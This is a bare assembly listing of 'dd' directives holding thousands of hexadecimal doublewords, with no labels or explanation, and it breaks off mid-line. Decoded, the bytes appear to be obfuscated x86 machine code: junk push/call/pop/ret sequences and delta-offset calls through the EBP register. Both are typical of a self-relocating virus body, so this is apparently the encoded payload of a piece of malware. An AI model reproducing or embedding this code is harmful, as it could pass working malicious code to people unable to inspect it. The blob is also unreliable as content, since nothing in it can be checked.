		dd 8106221Dh, 4C8B7FC2h, 0BE858D23h, 6A06257Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8162C353h, 45A52CEAh, 3D0FF14h, 221EE995h, 8959B706h
		dd 2206B985h, 52566006h, 0B58B5859h, 62207C1h, 0D3B70F61h
		dd 330985C6h, 9450622h,	22308585h, 0E870F06h, 0E9000000h
		dd 9, 24C61E91h, 872C4A86h, 4E81Ah, 69690000h, 0D18B8E72h
		dd 5CBA6650h, 24448B26h, 10E804h, 805C0000h, 1704291h
		dd 0D122648Ah, 45531115h, 1B6EADDh, 0F008B5Ah, 0E82h, 5E96000h
		dd 7000000h, 50E44EF0h,	89615951h, 0E8042444h, 8, 0B7AB8D45h
		dd 9BC47B21h, 0C92DBB66h, 8D89585Bh, 62206E1h, 0B5FFDA8Bh
		dd 6222649h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0E3C35343h, 0F9BD89DBh,	8D062206h, 257DBE85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 29D0FF3Ah, 2208398Dh, 8901B706h, 2201A985h, 1D9D8906h
		dd 8B062208h, 0F19D01D2h, 8B062231h, 2226259Dh,	0D98C6606h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3BC35646h
		dd 59062301h, 7B240102h, 34D9958Bh, 0E2810622h,	452EFA18h
		dd 0F04C1F6h, 20884h, 0EA816600h, 0BA66BADDh, 1DE91E52h
		dd 6A000001h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 8F7BC356h, 0FE92Eh, 98480000h
		dd 0ADB964B7h, 2847A9E4h, 0B436D9F0h, 0A985892Fh, 8B062208h
		dd 2232C1B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 87BD2413h, 2BDBCBC5h, 8531B627h
		dd 622210Dh, 619D31h, 0C6810622h
		dd 1180h, 210DB529h, 0BD830622h, 62232B1h, 12850F00h, 0BA000000h
		dd 2E6539D1h, 74E9h, 0E2815300h, 72894B8Ah, 3E835Bh, 63840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 9802A6C3h, 0EE450A91h, 68A0Fh, 0BD290000h
		dd 6223175h, 33D38160h,	8B77A30Bh, 2232AD95h, 89146A06h
		dd 2217DDB5h, 7595FF06h, 8B062230h, 2209FD95h, 1566106h
		dd 220311B5h, 9AE95A06h, 81FFFFFFh, 5E9625CBh, 106C724h
		dd 0E9000000h, 0Ch, 3D706EF0h, 5D372EA9h, 0F87DB603h, 5056BD83h
		dd 0F050622h, 0D085h, 606DB300h, 148D9589h, 3EB80622h
		dd 6171AE23h, 1A9B58Bh,	0C3810622h, 6204A581h, 64B9h, 80D18B00h
		dd 840FE83Eh, 3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 6AC35646h, 0AAD96CBCh, 4DD75CD0h, 5D958B1Dh
		dd 8906221Fh, 2232018Dh, 3BE906h, 81660000h, 808974F2h
		dd 0FC2057Eh, 5184h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 972BEBD2h, 6810FADh, 29000000h
		dd 221B898Dh, 9D8B4606h, 6220EA9h, 78850F49h, 0E9FFFFFFh
		dd 0Bh,	5B31BE10h, 944578h, 0E9B30956h,	11h, 0B589D38Bh
		dd 6220131h, 3860Fh, 0BF0F0000h, 958B58DFh, 6222911h, 20A1BD83h
		dd 0F000622h, 13584h, 0AD9D8B00h, 60062226h, 26018D89h
		dd 85C60622h, 6223309h,	55006A54h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0B2545810h, 0E6161C69h
		dd 6E8BFh, 5C940000h, 2C37A7FBh, 1860Fh, 5BFC0000h, 4E8h
		dd 4EBEF400h, 0DBBA66FFh, 890F5035h, 0Ah, 4840Fh, 0BB660000h
		dd 448B99FFh, 8B0424h, 9105BA66h, 4244489h, 58D38B66h
		dd 6830Fh, 8D290000h, 6220EF5h,	2649B5FFh, 9D8B0622h, 622297Dh
		dd 858D67B6h, 6257DBEh,	0E3D9589h, 0FFF80622h, 6ADE8BD0h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 5A13D7F2h, 1DB58910h, 0FF062220h, 2220A1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 214DB3FEh, 28676EF1h, 9D89E390h,	6223515h
		dd 9D8BD0FFh, 62215BDh,	51006A61h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 6D4C84F7h, 59926900h
		dd 8D0F3436h, 2, 85C7D78Bh, 6222C69h, 1, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0BCC35141h, 0D9C73288h
		dd 98345203h, 2FB98D29h, 81600622h, 8ED8CCAh, 0C2EF682Ch
		dd 5060FDB1h, 11E852h, 4CEA0000h, 0AEF8EC1Bh, 24D81747h
		dd 77552CE0h, 582DF4B3h, 29B3310Fh, 56BF585Ah, 6117694Ch
		dd 91240481h, 0F5024E3Dh, 9D8BFF6Ah, 6220F35h, 11958B57h
		dd 5B062230h, 31BD95FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 78487AC3h, 11D6DB28h
		dd 8BAFAF2Eh, 6880FD9h,	89000000h, 2216158Dh, 0BA666106h
		dd 958B64AAh, 62221CDh,	89905090h, 2207E18Dh, 75858B06h
		dd 8B062233h, 2225E995h, 0FC00B06h, 1D84h, 6800F00h, 81000000h
		dd 0A98734EAh, 0A995FF61h, 0BB06221Eh, 2CF60C9Eh, 30619D8Bh
		dd 85C70622h, 6223529h,	1, 8D41BB66h, 14A9BD83h, 0F000622h
		dd 1784h, 0D3BF0F00h, 319D95FFh, 9E90622h, 7C000000h, 0D96978Eh
		dd 0E963CB4Dh, 8C5BD83h, 0F000622h, 4984h, 399D8B00h, 0FF062233h
		dd 2204D995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 817B9719h, 0C7BADDC2h, 14E962h, 78F60000h
		dd 0A8E040D6h, 2856D165h, 90837839h, 5EAE91B4h,	0BD83EBFCh
		dd 6220F81h, 50840F00h,	53000000h, 6614BB66h, 99BD835Bh
		dd 6221Bh, 3D850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 554051C3h, 0F9DC28A3h
		dd 89CFAA8Eh, 2214998Dh, 2840F06h, 8B000000h, 2995FFDEh
		dd 66062231h, 8377D1BBh, 221435BDh, 840F0006h, 41h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 62C35343h, 0DE8BE4A6h
		dd 8581D98Ah, 6221B39h,	4003h, 0FD9D8Bh, 85810622h, 6220E59h
		dd 4003h, 1F04F4BAh, 6A310F5Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 4BBCC351h, 0F5E36963h
		dd 14EFFE41h, 8D19D31h,	8D8D0622h, 622619Ah, 330189F9h
		dd 519531C2h, 89062231h, 6E90441h, 0A9000000h, 0B746C0AAh
		dd 4FDB8152h, 0F38DBC2h, 75B50931h, 8D062224h, 2261AA8Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0C00ECD17h, 89F47C3Ah, 0EE901h, 0B620000h
		dd 517E4930h, 0B88FB2Fh, 1C73A6h, 5E9C233h, 0A8000000h
		dd 0CABCC825h, 6A044189h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0F3D0C350h,	0BD83D38Ah
		dd 6222605h, 36840F00h,	0B6000000h, 0BE95124h, 5000000h
		dd 88D7710Ah, 9ED84147h, 0FF5A4B1Dh, 220FD195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0F9BD8376h, 1062221h, 0BE850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1486E6C3h
		dd 9AE9B9h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1D0424h, 50400000h, 35CBFFC3h, 3FBC8B0Fh, 29E30926h
		dd 220169B5h, 6840F06h,	89000000h, 220541BDh, 0EDB58B06h
		dd 0C7062262h, 6, 94B58B00h, 0C7062260h, 6, 6ACF00h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 27E95DC3h, 0D19D31D4h, 0F5062225h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 38C35747h, 4882A807h, 2581C390h
		dd 3529BD83h, 0F000622h, 1CB84h, 659D2B00h, 8306221Ah
		dd 221EB5BDh, 850F0106h, 16Ch, 8D8B1CB7h, 622504Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 59C35343h, 0BE5F3051h
		dd 668BC86h, 0C627B680h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0B08280C3h, 0B282BA68h
		dd 0F3107F7h, 387h, 0DE8B6600h,	9EAF381h, 1606372h, 221CC59Dh
		dd 4E806h, 800000h, 0BB560000h,	7CE868DEh, 28B3505Bh, 424448Bh
		dd 4800Fh, 0BA660000h, 8BA6D6h,	89D98B66h, 0E9042444h
		dd 0Dh,	9E604F5Ch, 1DE7A2D5h, 33D129Ah,	6A58D6h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F8B7BCC3h, 91ECE253h, 0AD9D8B96h, 6A062208h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 8287E4D3h, 5E8h, 2C6BFB00h, 0AE9E136h, 0A9000000h, 59532F6h
		dd 0F2366F07h
		dd 95FF5AABh, 62231BDh,	0C1EA8166h, 2D9D89ADh, 61062211h
		dd 95FFE9B6h, 6222539h,	32118589h, 8D8B0622h, 622504Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 19C35242h
		dd 4E9F1129h, 958BD399h, 6221A9Dh, 0F5001FEh, 68Fh, 31950300h
		dd 5A062227h, 1CCDBD83h, 0F010622h, 3F85h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 9B502827h, 1C680256h, 8960E7E7h, 2201AD95h, 0BE666006h
		dd 9589CBF8h, 6222495h,	9D296161h, 6222545h, 0BD83C08Bh
		dd 62208DDh, 83097500h,	220A21BDh, 1A740006h, 0C08B5350h
		dd 1B39858Bh, 85890622h, 6221B39h, 0BFC99D8Dh, 0D3FF0624h
		dd 0BD83585Bh, 6220A21h, 50187400h, 39858B53h, 8906221Bh
		dd 221B3985h, 0B89D8D06h, 0FF0624BCh, 8B585BD3h, 2226419Dh
		dd 1D9D8B06h, 8B062222h, 2218B195h, 66C08B06h, 9852D381h
		dd 3529BD83h, 0F000622h, 1B85h,	1D9D8B00h, 8306221Ch, 2226D5BDh
		dd 840F0006h, 8, 0A5B50960h, 6106221Ah,	3529BD83h, 0F000622h
		dd 6084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8B56A54Ch, 220FB195h, 35BD8306h
		dd 6220Ah, 2F840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 150424h, 52420000h, 0F4330C3h, 68Dh, 399D3100h
		dd 0B062235h, 2230699Dh, 29BD8306h, 62235h, 46840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E84DEFC3h, 0Dh, 5737D8A0h, 54394C70h, 0F23C51ADh, 85EE8009h
		dd 35BD835Bh, 6220Ah, 6840Fh, 0B5890000h, 6223035h, 3529BD83h
		dd 0F000622h, 3684h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 30BD0F77h, 0D98BA4CBh
		dd 0F41BD83h, 0F000622h, 684h, 0AD958900h, 83062205h, 223529BDh
		dd 840F0006h, 1Bh, 83DAF680h, 220B15BDh, 840F0006h, 0Bh
		dd 21E995FFh, 81660622h, 8B4886CBh, 15950BC0h, 83062221h
		dd 2208DDBDh, 9750006h,	0A21BD83h, 74000622h, 8B53501Ah
		dd 59858BC0h, 8906220Eh, 220E5985h, 309D8D06h, 0FF0624C0h
		dd 83585BD3h, 220A21BDh, 18740006h, 858B5350h, 6220E59h
		dd 0E598589h, 9D8D0622h, 624BCD1h, 585BD3FFh, 24459D8Bh
		dd 9D8B0622h, 6223371h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0CFC35646h, 128F0FE5h, 0E9000000h, 0Dh
		dd 3FDCC686h, 1DEF3D06h, 0E98EB612h, 6AC08BF2h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 9D25C357h, 8B0F5591h, 16h, 11E9h, 0D1544D00h, 0A16AE8D7h
		dd 210B7902h, 13267987h, 0BB663E7Bh, 0BD833BE9h, 6223529h
		dd 16840F00h, 31000004h, 220095B5h, 0C5BD8306h,	2062215h
		dd 25840Fh, 0B70F0000h,	0F9BD83D6h, 1062221h, 15850Fh
		dd 10E90000h, 35000000h, 947E429Fh, 611AEB23h, 0EFF54929h
		dd 605FFFE5h, 0D60DE3BBh, 4A8D8B5Fh, 8B062250h,	22054D9Dh
		dd 6A01FE06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 5785C357h, 667244AEh, 0E8695BBBh
		dd 4, 80h, 3B97D5BBh, 6E85033h,	95000000h, 116048F2h, 8E8F0h
		dd 80000h, 83AAEABAh, 6160D5CAh, 448B5A5Ah, 8B0424h, 63B858BBh
		dd 2444891Bh, 337BA04h,	0F582509h, 28Dh, 6AADB200h, 0DEBA66FFh
		dd 0BD95FF2Ch, 6A062231h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 2204C350h, 0B7C7C0B1h
		dd 0E961E4B3h, 0Ch, 0A7DEDD11h,	17879F20h, 0CE775A18h
		dd 1B7D9D8Bh, 0BD8D0622h, 62218CDh, 195D9D89h, 4F8B0622h
		dd 58B0F1Ch, 0BB000000h, 6ACCD317h, 0B589016Ah,	6223495h
		dd 13BA5191h, 5B69F325h, 0D7BA6650h, 95299163h,	6223239h
		dd 4449858Dh, 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 3159E7C3h, 0C16C64FCh, 0D0FF3BA0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 95C35141h
		dd 0DE9h, 0C5A0AB00h, 0F5D8BFEh, 325DF423h, 4F8BEECAh
		dd 2D9D8B20h, 6A062211h, 58BB5003h, 897B7524h, 0BA66240Ch
		dd 858DA8DCh, 6254449h,	9D8B5160h, 6221621h, 0D0FF615Bh
		dd 0BE952h, 7E970000h, 0C58B8697h, 66048BB7h, 0FC8A5BDFh
		dd 18CDBD8Dh, 0BD010622h, 6221541h, 661C4F8Bh, 6A4A3EBBh
		dd 5E95001h, 11000000h,	2ABF3290h, 0F240C89h, 858DD2B7h
		dd 6254449h, 1D559D89h,	0B0600622h, 0CABF0F74h,	0E8D0FF61h
		dd 11h,	0A0D524ABh, 640012CFh, 505DB220h, 0ED7281E6h, 0CCA8187h
		dd 5A407A51h, 0EA19D8Bh, 4F8B0622h, 7E920h, 15500000h
		dd 0D1BE308Ah, 6E919h, 295F0000h, 9E5CC9EFh, 0D38A036Ah
		dd 12E891h, 0B6D30000h,	6F976D0Dh, 9556F446h, 6A37F501h
		dd 7CCC7356h, 830F56h, 5A000000h, 0BA60505Bh, 3C79E4B0h
		dd 9161D88Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	45C35343h, 0DE55DD3Eh, 10E9h, 0AFC47F00h, 251E8E65h
		dd 188B7B2Eh, 0D04886Eh, 49858DC3h, 66062544h, 0D0FFD38Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 83C35141h
		dd 8BDB4E71h, 22504A8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 47E9BDFEh, 0E402BAE8h
		dd 5B48B757h, 6A01FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 87471EC3h, 0D9C54D0Fh, 9D8B7C31h
		dd 6222055h, 504A858Bh,	6A0622h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0B822F5C3h, 2D958Bh
		dd 0C2810622h, 1DD0C6E8h, 9D8B00FEh, 6222FADh, 6A016Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 65A5B5C3h, 0BB54F50Ch, 2B8DF94Dh, 0C5E38F68h, 0D68B66CEh
		dd 70240481h, 6A3139BCh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 5795C352h, 0C74E25FEh
		dd 8B4E7FA5h, 53858DD3h, 6A062544h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AF41C355h
		dd 0BA9FDD58h, 8CB8BBEFh, 0B509324Eh, 6222529h,	0FE850h
		dd 15A0000h, 0A9DC784Ch, 520CEC8Fh, 2CC65677h, 5B6160C3h
		dd 8BD0FF5Ah, 2214F59Dh, 0D5BD8306h, 62226h, 138840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 890FCCC3h, 1Fh, 198E0Fh, 13E80000h, 91000000h
		dd 423CC1B0h, 459CCD2Dh, 43A03940h, 7D0C6DA0h, 835AD9C6h
		dd 2200F5BDh, 850F0106h, 0EAh, 4840Fh, 0BA660000h, 8D8DB0BCh
		dd 625445Dh, 12E9h, 0C8851500h,	0CD25471Ch, 0D6428724h
		dd 296467AAh, 0F5440BB6h, 22B3036Ah, 6A016Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0B474BDC3h, 0E9C8E845h, 8B8692A4h, 2201B99Dh
		dd 118A0F06h, 0E8000000h, 6, 42B7365Ah,	0F8BBC4A6h, 5B577C34h
		dd 0E780D1FFh, 6A016AD9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0E209C355h,	28A5663Ah
		dd 12E953h, 0E8310000h,	2CDE40F4h, 9586993Bh, 60A06031h
		dd 9D948039h, 6A016A5Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 590BC356h, 0F529C55Dh
		dd 28D0Fh, 0D88B0000h, 0BB66D1FFh, 2BE80585h, 80FA3969h
		dd 206AF3DAh, 8D8B6052h, 622192Dh, 19699529h, 5B610622h
		dd 0A7BAFF6Ah, 8B47631Fh, 2206E995h, 0BD95FF06h, 0E8062231h
		dd 14h,	981686C8h, 331C7445h, 2126E735h, 8C2FCC94h, 38A95FD1h
		dd 5EDABB66h, 0B85Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3C3078C3h, 358CD323h
		dd 9D8B8B1Ah, 6221179h,	840FC00Bh, 3Fh,	0BE9h, 1025900h
		dd 0A3F97B24h, 1D9FF66Ch, 3555BD83h, 0F000622h,	2284h
		dd 0B595FF00h, 6A062207h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8B81C356h, 2200E185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 21F815AEh, 0C60B13B6h, 8B660000h, 8C6658DAh
		dd 8DF381D9h, 894CB7A2h, 22302DB5h, 4C1F606h, 52840Fh
		dd 0C3810000h, 49C150D1h, 8B665753h, 0E95A5AD3h, 40h, 1F5D9D8Bh
		dd 0B58B0622h, 62232C1h, 81DAB70Fh, 1180C6h, 890F5600h
		dd 6, 198D9523h, 0C75A0622h, 6,	10E95100h, 0B2000000h
		dd 0A48C34A6h, 0EB5D0F17h, 0A84574CCh, 5A601B50h, 0E960605Eh
		dd 8, 0C2FE6AAFh, 208CF035h, 4D5BD31h, 61610622h, 0F00F883h
		dd 0AFE84h, 99D3300h, 83062203h, 850F01F8h, 1B9h, 123BA66h
		dd 0B8h, 0B4BB6600h, 0FC00BFEh,	12C84h,	0BA665700h, 835A3D63h
		dd 840F01F8h, 158h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0CFC35141h, 11E8E090h, 0FA000000h, 691EEA96h
		dd 0A5037A90h, 2CFD78A3h, 61F2E4E0h, 6890Fh, 9D8B0000h
		dd 62227FDh, 7D9D095Ah,	83062210h, 840F03F8h, 88h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F4C35343h, 2B64D7BDh
		dd 91B589C0h, 0B6062201h, 0E0BD8D94h, 6A005B89h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 6671C352h, 0DC3FF262h, 9638A766h, 0CE8h, 2ACF4800h
		dd 763F0CA7h, 2E88482Ah, 13E8E0h, 0FEA10000h, 4C68524Fh
		dd 4E647691h, 1C134150h, 8260CA0h, 9B5FBA3Dh, 5A5B207Dh
		dd 0D88BE7FFh, 1B8h, 8DF2B600h,	5B89E0BDh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0D78EBCECh, 0BF0F6B3Fh, 258589D1h, 0FF062201h, 6870FE7h
		dd 1000000h, 2214AD95h,	0D6BD8D06h, 29062246h, 2207B9B5h
		dd 227E906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F9B489C3h, 18999509h, 85290622h
		dd 62233B9h, 50A585C7h,	50622h,	0C9B20000h, 0B8D08B66h
		dd 5, 1BE9D68Bh, 6A000009h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0B62C355h, 20CA8166h
		dd 2F8838Ah, 0CD850Fh, 0BA660000h, 0BD89088Eh, 6221B61h
		dd 0B8h, 25958B00h, 0B062200h, 80840FC0h, 0B3000000h, 0F883F9CCh
		dd 91840F01h, 81FFFFFFh, 0EDBEDFF3h, 3F88329h, 0FF02840Fh
		dd 0FE8FFFFh, 5000000h,	0AA157076h, 454EA24h, 0C6AF0F19h
		dd 48B6D1FBh, 60C02B5Ah, 9D89F38Bh, 6221555h, 0E0BD8D61h
		dd 0E8005B89h, 12h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h
		dd 11E98B3Eh, 6B000000h, 0C9C9A2AFh, 5711D1A6h,	810AB51Ah
		dd 32E9CEAEh, 3E7FF5Bh,	2212B19Dh, 49958B06h, 8D062216h
		dd 2248CEBDh, 0CE906h, 0EBE40000h, 1ADC3315h, 0DCA5D28Ch
		dd 0FEE92AC4h, 0E8000000h, 0Bh,	3DB40CEEh, 512F0745h, 0FB02ACEh
		dd 835BDABFh, 850F03F8h, 47h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 17C35646h, 7E95260h, 78000000h
		dd 608BC312h, 615A737Ah, 15A18589h, 0BD8D0622h,	6224A62h
		dd 0E9D18B66h, 0A1h, 1880Fh, 83F80000h,	850F05F8h, 11h
		dd 0A0E28157h, 5A23E9C8h, 7BDE9h, 0A9BB6600h, 6F88375h
		dd 1D850Fh, 8D010000h, 6220E8Dh, 4C5ABD8Dh, 0BA660622h
		dd 62E9653Dh, 60000000h, 29958D89h, 83610622h, 850F07F8h
		dd 18h,	0B59D23h, 0BD8D0622h, 6222D9Dh,	0E2E9D68Bh, 66000000h
		dd 0DE8EC381h, 0F0AF883h, 3085h, 0B335B700h, 52BD8D99h
		dd 8906224Eh, 221DD595h, 9D950306h, 0E9062225h,	15h, 10E9h
		dd 6D63600h, 5A948756h,	10B373EBh, 0BA59B95h, 36BB57CDh
		dd 0B942208Ch, 0CF3FB8Eh, 1065958Bh, 3F830622h,	65840F00h
		dd 60000000h, 9DD9D29h,	0EF810622h, 6F4BA995h, 8B0F3061h
		dd 2203FD95h, 6AC9D106h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2ABCC351h, 47EF6F76h
		dd 0E9D7B70Fh, 0FFFFFFB6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0ADC35747h, 0D6F9D433h, 1584AE97h, 57006A5Fh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 9C3287D4h, 8B66B8C0h, 4EBD89D7h, 6A062250h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 9D2C351h, 2210B5B5h,	0F2816606h, 8D8DD7A4h, 622273Dh
		dd 1D999D89h, 810F0622h, 1Fh, 13E8h, 0FD391700h, 610D6223h
		dd 7A801F1Ah, 367F9D93h, 0BF05BDC2h, 850Fh, 0FF5A0000h
		dd 2201A9B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 53B45A6Fh, 0B23F858Dh, 8D500624h
		dd 2258C6BDh, 9A8D8D06h, 0B8062273h, 54831ABCh,	730CF2Bh
		dd 4947C8D0h, 0B58DF875h, 62272D8h, 73B28D8Dh, 0CF2B0622h
		dd 0C933A4F3h, 0B8h, 74C00B00h,	55BD8346h, 62235h, 95FF0674h
		dd 62207B5h, 504EB58Bh,	858D0622h, 624B23Fh, 858DD0FFh
		dd 62244B4h, 85C7D0FFh,	6220619h, 1, 265A58Bh, 0B58B0622h
		dd 6222975h, 3171AD8Bh,	0C0330622h, 6A000CC2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 5D2DC355h, 11E960B1h, 73000000h, 5DBA25A2h, 794C30E8h
		dd 6EF24B6Dh, 0CB43B9E2h, 299D8B61h, 8B062202h,	221B059Dh
		dd 1958B06h, 83062203h,	222599BDh, 840F0006h, 1Ah, 1509958Bh
		dd 95FF0622h, 6220041h,	8A0FFC8Ah, 6, 220D9D01h, 0BD830622h
		dd 62232B1h, 0F5850F00h, 89000001h, 2233A58Dh, 0F5BD8306h
		dd 1062200h, 1E2850Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 830124C3h, 223195BDh
		dd 840F0006h
		dd 1B8h, 0A3BA6652h, 0BD835BABh, 62250A1h, 0A5840F00h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0F61C353h, 59915907h, 0B9958B2Bh
		dd 8D06221Eh, 24B23F85h, 5958B06h, 0F062227h, 68Bh, 0CD9D0900h
		dd 8B06222Fh, 22504EB5h, 14890F06h, 0E9000000h,	0Fh, 8EADAB33h
		dd 0CDC98ED6h, 0E317D880h, 0FF4F408Bh, 0C6D08AD0h, 22330985h
		dd 8E95406h, 7000000h, 19BCCD4Dh, 6899E0D7h, 0FAE2596Ah
		dd 0EE8h, 130D5400h, 0DDC13388h, 4C0C868Eh, 50036E15h
		dd 0DE9h, 0D690B500h, 0C27463E8h, 0FFCE283h, 5B5AE368h
		dd 8A240481h, 6A046C65h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 2F46C356h, 77BB6626h
		dd 0A9B5FF5Bh, 6A062233h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 2D61C352h, 5199ECAAh
		dd 66D5A8F0h, 8B1E1CBBh, 0F1858DD6h, 0F506223Ah, 6800Fh
		dd 85890000h, 6223391h,	0BA66D0FFh, 6AE488h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 8EC35646h, 8057DC5Eh
		dd 8501AEDAh, 62213DDh,	0BE8h, 74AD8900h, 5D6A0C24h, 4E5B298h
		dd 1C15B501h, 6A5A0622h, 35958BFFh, 0FF062233h,	24EE80D0h
		dd 815B5FFh, 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 51AE5AC3h, 38A0FBFh, 66000000h
		dd 0EA81DA8Bh, 2252F08Fh, 1A995FFh, 95310622h, 62219D9h
		dd 504EB58Bh, 0BE80622h, 0AF000000h, 0CE558D77h, 48B8A7E6h
		dd 5E86006h, 0D1000000h, 0A75889DBh, 18B1958Bh,	5B5B0622h
		dd 0BBADB2C3h, 653F19EBh, 0E1B58Bh, 8B0F0622h, 6, 2A199D89h
		dd 0F60B0622h, 1D840Fh,	10E90000h, 53000000h, 0ADEC1EF7h
		dd 6131C4B9h, 75EE1116h, 0C6E1219Dh, 81660006h,	89347EE2h
		dd 22505685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
